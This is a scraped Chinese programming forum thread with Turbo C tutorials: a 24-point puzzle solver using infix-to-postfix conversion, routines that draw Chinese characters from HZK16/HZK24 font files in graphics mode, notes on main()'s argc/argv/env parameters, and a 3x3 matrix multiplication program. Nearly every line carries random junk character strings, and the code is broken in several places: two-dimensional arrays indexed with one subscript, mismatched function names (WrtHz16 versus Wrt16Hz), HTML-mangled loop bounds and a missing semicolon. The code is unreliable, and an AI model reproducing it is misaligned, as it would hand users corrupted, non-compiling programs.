0 @6 z7 W- K9 D8 ]
3 S$ j2 ?& ^' C+ m/ H! d, O  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。
- F0 l9 Y) H& \; M5 B) p  |: E# I( i/ O5 o' U/ n# c9 L3 J; u% R
  下面给出转换和计算的具体实现程序——  X+ Z7 p# A* F' S5 J; f
7 X/ e# S1 a8 @7 w- K' ]
<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */% H; }% k; ~) w% d! ?
int first(char c)
( m4 s+ f; f5 O{ int p;) x! x6 M' T; R& d
switch(c)
3 R  _0 r. E1 C% k{ case '*': p=2; break;
8 C8 Y% [8 f  \  @0 |9 Icase '/': p=2; break;8 T& S/ s* B0 C' R5 l
case '+': p=1; break;
1 q& m: K+ G. M) H4 ]; x) ~3 mcase '-': p=1; break;
3 _; G& g3 ?% l1 ?# W" m2 B2 mcase '(': p=0; break;
9 w9 `7 w2 y5 M3 }4 U3 K2 Jcase '=': p=-1; break;+ e  f3 X; F3 I% S
}3 G9 T9 `% G- O4 S
return(p);
" ]% L- d, l0 T5 ^8 ^8 g- v6 }- `}+ C& D( ?& L+ _) H) e
/* 此函数实现中缀到后缀的转换 */+ O: j  b4 P9 S; N2 ^) k9 N
/* M的值宏定义为20 */
3 C( p$ Z; T1 w, b) @' K6 M/* sp[]为表达式数组 */
2 A( j2 q, a8 b2 L  ~int mid_last()
2 J3 p# z6 X$ K{ int i=0,j=0; char c,sm[M];
2 A+ `$ i  U; s- D  A+ ?2 A# jc=s[0]; sm[0]='='; top=0;
; g5 H( ~# a8 \( P8 r  k$ A6 Swhile(c!='\0'): H6 @% S; Y0 i6 J5 u
{ if(islower(c)) sp[j++]=c;: {5 Y  S1 V0 N, |0 r
else switch(c)  i4 r/ ^8 G1 G  B
{ case '+':2 W' l4 v: M3 @
case '-':# \! @# l  w0 y, P1 }+ l7 F! v
case '*':
" V1 A6 Z! F; t" ^0 k7 P+ Kcase '/': while(first(c)&lt;=first(sm[top]))) \1 g8 y+ C$ v9 D- {& G$ ?
sp[j++]=sm[top--];
8 n% u, r; W2 asm[++top]=c; break;6 n1 r+ U% S* x9 K7 d: F! i
case '(': sm[++top]=c; break;
& E/ x- P- K0 z/ @case ')': while(sm[top]!='(')2 \1 s- ~( Q4 p8 K$ ~
sp[j++]=sm[top--];
$ r* X) E3 c* [) ^5 v$ U* e4 M- Ltop--; break;
' k0 h. `' y2 S5 qdefault :return(1);$ j  b2 h$ g# e5 s
}
7 O# {1 b& {( ~- k! gc=s[++i];* d4 |, u0 l/ Y# B. v2 K
}
2 I: p6 O+ Y# J( |7 }1 twhile(top&gt;0) sp[j++]=sm[top--];
( L& V" h5 K+ b  E* a4 Nsp[j]='\0'; return(0);; `! m: c" v- ~9 s. {
}
: T. K+ T) V9 v( W+ D/* 由后缀表达式来计算表达式的值 */
/ Y. J' O) T! u2 w3 Uint calc()
& G9 Z4 E2 O' S4 L5 M{ int i=0,sm[M],tr; char c;
: B& r+ B2 F- N3 r, p* U' @2 S8 r; I7 K  Zc=sp[0]; top=-1;
8 ^; F6 K7 r& jwhile(c!='\0')3 ~! s4 Y% C# M8 ~2 y9 Y
{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,* `+ F! M$ ~) ?9 E
这样才可以更方便的处理非一位数, 0 f+ T. d, L% x1 M- r9 l& s% j
ver数组中存放着这些字母所代替的数*/
* \, q9 K1 b/ p2 y8 h1 C; pelse switch(c)
6 H& z/ r9 J& ~2 X% |+ C2 h{ case '+': tr=sm[top--]; sm[top]+=tr; break;6 o+ J0 n. u7 j
case '-': tr=sm[top--]; sm[top]-=tr; break;
) F, }  X- g' ]9 ?% J# F6 w0 _case '*': tr=sm[top--]; sm[top]*=tr; break;6 ]  J$ z' b% h) s
case '/': tr=sm[top--];sm[top]/=tr;break;! X0 G& l* G9 I6 z) s( A
default : return(1);7 p7 P! I+ [; `# _8 x, ~
}
: f8 c( E9 Y; @( K+ m; E+ Tc=sp[++i];
9 k% q7 ]2 U5 d$ A5 l}& T, r' Y/ k" _  @/ O$ e# V" ~$ L6 r
if(top&gt;0) return(1);5 F% c6 s/ `& N
else { result=sm[top]; return(0); }3 a- C9 B2 X# L2 N" g
}! |8 ^. r8 `6 \' R
</FONT>" K+ N8 {3 }: J2 z
  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
; @  J- l( t) b/ G& L0 K6 m5 M# l" U! ?+ y
  最后我总结了一下这其中容易出错的地方——7 b' v9 Z9 Y, X  _' Q& P

, X2 a. s- {( `1 E  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。1 u6 e& W1 `7 z( @* ?+ E" b8 ]3 C
0 S; n: A6 _: O  j. ]
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
3 O* L5 B/ ]) }+ s# B. n' a
- P! m+ M+ F  M7 Y; D& U* h  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。 , }/ ~, [( y1 {5 O9 p
( V# G; q8 r  o3 K7 G$ z
  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。1 E; H  L7 g6 J5 v- I
1 ^+ i7 a( b1 f3 Y; ~) g6 |& V6 p1 B
  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。
. j' B, k  r+ t& k/ Q5 D
$ l2 X! k! W7 C  F  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。8 s3 _" m& v/ D" V0 e7 x' y+ J
1 v; Z9 ^" ^  E& I- p/ ^: F0 @4 k
  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。
# y: }8 {: S) Q2 `8 f" J8 y* A& g</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>
. K2 B# x/ ]& J8 Z图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}
6 K" _; C/ H- s: p3 m' \8 H  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。% x+ n$ l7 ^6 ?; p" |
  汉字显示的第一步是打开字库文件。
- U5 D8 E; ]3 V! h  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。
3 V$ g9 Z( i1 m; R6 j  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)  n; u7 C) F! S2 }" Z
{
6 M( Z. M2 a' o7 W3 Funsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
& Q: E+ z+ M5 h0 p5 F8 pint rec,i1,i2,i3; /*z:space between;*/3 b8 @) D. y$ V0 T  H  v3 P6 ^9 o; h
long l; /*color:txt color*/
5 s7 \  j- g, N9 B1 `' ochar by[32]; /*p:HZ str*/* Q1 _7 c$ U: Y  ~7 G( t
if( handle&lt;0 ) return -1; while((i=*p++)!=0){
4 w9 T, v$ ^" xif(i&gt;0xa1)
6 F7 d3 O+ E' ?* y9 Q& T- pif(f==0){- K* H. U- w7 w- e- u# V2 d
c1=(i-0xa1)&amp;0x07f;
" [/ x$ e* x/ d: X( M; ff=1;" |9 F2 I& m! v" S* A  g
}
. N3 X4 u7 j' N1 p9 y% Y3 D/ Y$ qelse{# P0 x5 ]/ T+ E
c2=(i-0xa1)&amp;0x07f;
! n" C  {% G* q3 Y/ L1 L1 Y! Mf=0;* n  r2 _0 L* I8 h" K+ [
rec=c1*94+c2;4 ^$ B. `) }9 m  `8 V
l=rec*32L;
- A1 Q! ?! [& Z$ ^lseek(handle,l,SEEK_SET);
" N4 J2 R, F2 F, S( b  U3 Uread(handle,by,32);
" a1 N. D: X3 ~( P  z: L! M) l6 xfor(i1=0;i1&lt;16;i1++)% ~" T4 e5 D4 }/ X
for(i2=0;i2&lt;2;i2++)1 ^8 d: S! f' p; v4 u
for(i3=0;i3&lt;8;i3++)/ L3 [; c  |- X$ n
if(GetBit(by[i1*2+i2],7-i3))
( n! {2 B- x( g) j3 T8 eputpixel(x+i2*8+i3,y+i1,color);
$ C# X2 U% [5 Y1 S2 ux=x+z+16;" l6 T8 [+ e. `# [& C) {  _
}- \1 @' ~. ^2 x) u, g% x! O- H
}
$ ?7 r7 v. x4 g3 v# ]return(x);  E( O$ p  J' I" [2 ^6 s( j/ }
}! t( r& K4 _) p* F- z, l2 E# \
函数GetBit定义如下:7 T9 ~* ?' S; X  P% l1 @. U* i. N
  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。
+ |8 n( V& n. b% Q2 Oint GetBit(unsigned char c,int n)
/ V) |, T, Q6 Y! N+ O{. x  V. c; R/ S* w  Z, z1 H2 m
return((c&gt;&gt;n)&amp;1);8 S" |4 l& Y, a7 G4 K/ I
}( c+ d* [/ q, y% e# `* n: H
汉字显示结束,应该关闭字库文件。8 s- Z0 P* M6 V: q5 t
void CloseHz(void)2 [- @: |) m& l0 ?
{
4 X; W+ T7 H3 i; [; a  a, J9 Aclose( handle );) r$ v$ }" R4 D
}
* N, m$ f8 _% p: d* \0 w9 B#include "\Caic\Include\Hz.h"3 }( O% m; `4 B  p
#include <GRAPHICS.H>
+ |+ r& a7 I( o. F! u: F( e#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
1 Z! M; J8 y3 C/ u* Mconst char* HzStr = "苦丁香C语言辅助学习软件";3 q- ^+ S6 H! N9 ?
void main(){- B8 E/ J9 ^3 o, R
int gr=DETECT,gm;
( T8 I, T8 b# B% x. }9 h$ Hinitgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");3 s$ q! g6 c& B- r
OpenHz( Hz16Path );
8 o* y4 b3 |8 t1 {# W# c$ WWrt16Hz(20,20,4,RED,HzStr);
1 J( c( F( r" p! d: m5 bCloseHz();
8 P5 [/ j" w5 z9 ^getch();
- p$ G& l/ ]. hclosegraph();
& G) P+ Q$ D$ q  |3 k8 f}显示24点阵及放大汉字' f) F$ x* a- o8 D, U: U; ^
  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。) n& Q& C* W4 _$ T: }( \' Y. b
函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。9 ]' }8 `4 C) s1 f- c$ Z( D
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)9 f6 ?& k- w: `) T
{
/ g, T* ]3 E3 N/ y& w* m0 iunsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
, W- c7 i2 q% x% Y' }8 }int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/9 O3 V; f) a6 |, {- f" s1 a
long l; /*color:汉字颜色*/4 ?1 A  I- i* C
char by[72]; /*m: x 方向的放大倍数*/3 n1 F, u* U# t  J6 D
/*n: y 方向的放大倍数*/
) B. {' ^6 Q' Y& R& j! Fif( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){3 T1 Y. V9 C+ ^( Y
if(i&gt;0xa1)
, k! `- G8 x4 i0 _4 _! l. Jif(f==0){4 K. @) {; J: C3 K& v$ N( |- S" s
c1=(i-0xa1)&amp;0x7f;
; q1 X% J) \$ ~8 If=1;
, o8 D, D1 J, \; ~2 f}
# Q- D8 e* J' c* W1 N/ }else{, y. [& ?) X8 v" f, ~8 x
c2=(i-0xa1)&amp;0x7f;5 o4 ^' b0 [, V8 f- U9 m: R8 u7 Z3 ]
f=0;3 F+ ~+ `. P6 e; t. q. f0 H
rec=(c1-15)*94+c2;
; h" ~8 h7 z+ El=rec*72L;4 r  S' S  Z9 {+ {
lseek(handle,l,SEEK_SET);* J* d9 n0 C/ r$ J
read(handle,by,72);' a9 w5 o; |, }0 M# H+ y# X- G
for(i1=0;i1&lt;24*m;i1=i1+m)" h1 ^& M3 K* t" c
for(i4=0;i4<M;I4++)
* W1 o: k* j6 e  t: i" k for(i2=0;i2&lt;=2;i2++)
1 S8 p! g5 P7 n, F/ ?% E0 _for(i3=0;i3&lt;8;i3++)4 n) s( K/ D4 z( l! k$ N) R
if(GetBit(by[i1/m*3+i2],7-i3))- |& Z& H/ V) B; A
for(i5=0;i5<N;I5++)
) v! @, {# O: b putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);: k; B9 o' ~, H, s- E
x=x+24*m+z;
" d3 E! \5 C4 T# ]8 V}
& A  ^/ w4 z, p% j4 v" _}. C$ e7 t, u8 Q' t9 g+ V$ {
return(x);$ p2 J* W& N' t6 V2 W8 ?! h* |
} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"- Q% f, u$ s% t* c& U8 g% l
#include <GRAPHICS.H>
* Q& M3 U% q7 a4 f+ X% X8 h: B#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
$ ^/ F! \3 V( i9 k. n6 Xconst char* HzStr = "苦丁香C语言辅助学习软件";( r4 x) l# d! M1 \8 I
void main(){
  B1 R6 T- U8 J" a' s& [7 f9 Mint gr=DETECT,gm;) }/ G& o" I$ S) m' ]$ u
initgraph(&amp;gr,gm,"\\Caic\\Bgi");3 S5 ^4 w& e. D. a' I! k" o
OpenHz( Hz24Path );/ D+ L: {$ h! z
Wrt24Hz(20,20, /*先是在(x,y)*/
7 w! w# ?' ~' |2 c$ k3 e4, /*汉字间的空格为4*/; [. h5 Y. t) O( c9 ?
RED, /*用红色显示*/
$ e2 E3 A- ~2 B4 F& v0 e2, /*x 方向放大2倍*/' b6 m9 h/ ^  h3 W
4, /*y 方向放大4倍*/
0 S2 P1 ~& Q2 aHzStr); /*显示字符串*/2 C4 v% n8 [* e/ {
CloseHz();
2 A+ C; i# _8 Cgetch();9 x3 W0 k# t, _9 A3 t9 Z( `
closegraph();# b7 `7 S* C3 ?! |# A; R
} 8 h- R5 E( }- m: K# S  z- k+ j, [
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数
1 I! _" B) {! }! \0 U1 z  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。3 _+ h& P& S% g8 m3 e- U
1. main() 参数
3 Z* s# X3 F% r6 p  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。- _8 b" p! U  p) J) `
  * argc: 整数,为传给main()的命令行参数个数。
1 {7 l- Z! S- m( u& k% v2 B1 y9 r  * argv: 字符串数组。
6 P  b$ c  X6 w9 K在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;
0 `* M6 p. W1 [) v对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;
* |( A% |/ A& B) |...
- k. H! C3 ?) y/ q+ Q- E; p$ uargv[argc]为NULL。
: d  u# e5 P: F6 Z! ~( W5 M3 {4 p  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
& C2 I6 p% q; ?$ ~$ v6 {值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/, h' d0 D. v) w" n
#include&lt;stdio.h&gt;
2 ?7 d1 F6 y; U& [- P6 W% y#include&lt;conio.h&gt;  ~2 K6 j( y+ J
#define X 3
. |# ?  a# [8 D) `#define Y 3</P><>int a[X][Y];
# W) L5 u6 Z! }1 Y/ u2 a- jint b[X][Y];) u0 G. B8 _4 n/ U# d" z/ V6 T" ?
int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);3 ?/ x9 L7 X6 D+ f2 J$ \
main()
1 O6 o5 x1 x' ^( E) T; |! w7 Z/ a- {, D{0 F7 Y5 m7 b$ J, I
int i,j,temp;; q( l1 C+ F7 [" g# T1 X
clrscr();; F& v  a# e+ b; U
printf("lease input int matrix b[%d][%d]\n",X,Y);
2 {/ m0 m- x- h3 Wfor(i=0;i&lt;Y;i++)- V' Q, U8 r5 b" X$ X9 V
for(j=0;j&lt;Y;j++){
* z& x$ a8 O: v; r& F8 N" |scanf("%d",&amp;temp);
  a; \- b7 F/ V' Xb[j]=temp;
6 E! y  L1 q$ a1 q* W# ^' `8 U$ V6 G}" R3 G. x; U& [; s! U! ]! H
printf("lease input int matrix c[%d][%d]\n",X,Y);
  t6 G6 w. x3 g9 M" j( Lfor(i=0;i&lt;X;i++)
" z: [9 S1 `; f7 z, [  a0 Cfor(j=0;j&lt;Y;j++){
4 G9 \, s4 u/ tscanf("%d",&amp;temp);
" c9 C. Y  ~, d. z( h: vc[j]=temp;' [8 q/ r; Y/ O- M
}
9 a# D6 h- v, L- ^+ ~matrix(b,c);
6 o9 |# h6 B: ^, w: iprintf("Now print resource matrix b[%d][%d]=",X,Y);
$ g9 p% J0 O6 R) f5 D/ B# h% Afor(i=0;i&lt;X;i++){# U4 t4 N$ p0 y: r
printf("\n");
& y$ m8 m4 Z( ffor(j=0;j&lt;Y;j++)
6 S  l) x( E' e/ F6 Lprintf("%d ",b[j]);9 p) P& ~% K2 n
}
% }" W* @7 S( U6 z1 ?* M7 Oprintf("\n");# m0 J  S2 L6 n  r6 F
printf("Now print resource matrix c[%d][%d]=",X,Y);
( f. _7 ]( B. |- P$ j5 x* jfor(i=0;i&lt;X;i++){
6 B, G- k- F* z' wprintf("\n");; e# _7 D$ ?( V, k( k* p% a5 }
for(j=0;j&lt;Y;j++)
2 c6 Z$ G$ R, p' Q% nprintf("%d ",c[j]);* _4 V8 H8 i1 l3 M9 j  z+ j* E
}" D" f5 m8 V0 F( m
printf("\n");0 \% `* Y9 [$ @; o4 Z" v: b
printf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);
; q5 P' A  r8 g9 d' Gfor(i=0;i&lt;X;i++){
5 n7 d" g- ~0 [- f6 L0 Bprintf("\n");) y! D6 ]$ V3 J; T  f0 a
for(j=0;j&lt;Y;j++)
! e5 [) I. P, N! Y9 R& wprintf("%d ",a[j]);' c% Y5 y( h3 x/ I
}3 X: q, o% R% |$ q( o" t
getch();
5 w  r  Q; R) L" _return 0;1 A8 d* C' i" S. s
}- N: V6 ^+ F; N0 }; ^2 p9 Q- R
/********************************************************************/
% M% E: {+ s& f( {0 N. s! O! qvoid matrix(int b[][X],int c[][Y])
: C5 `0 ~/ S: Q{
; s( @7 s6 \" P1 w& o/ Y( Zint i,j,k,temp;* w; D' I1 V  F7 [4 Z
for(i=0;i&lt;X;i++)) \/ p6 p% c6 p& l6 ?8 s# a
for(j=0;j&lt;Y;j++){7 w9 F$ x) p& Y; {5 m( Y  |& M
for(k=0;k&lt;Y;k++)( M; x4 A! x# ^! l4 c  r
a[j]+=b[k]*c[k][j];, T5 l! U4 R$ g; F  v2 G8 c
}
1 c3 {' @8 K; u. d; K5 k: P, N$ b}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-4-18 12:55 , Processed in 0.806889 second(s), 90 queries .

回顶部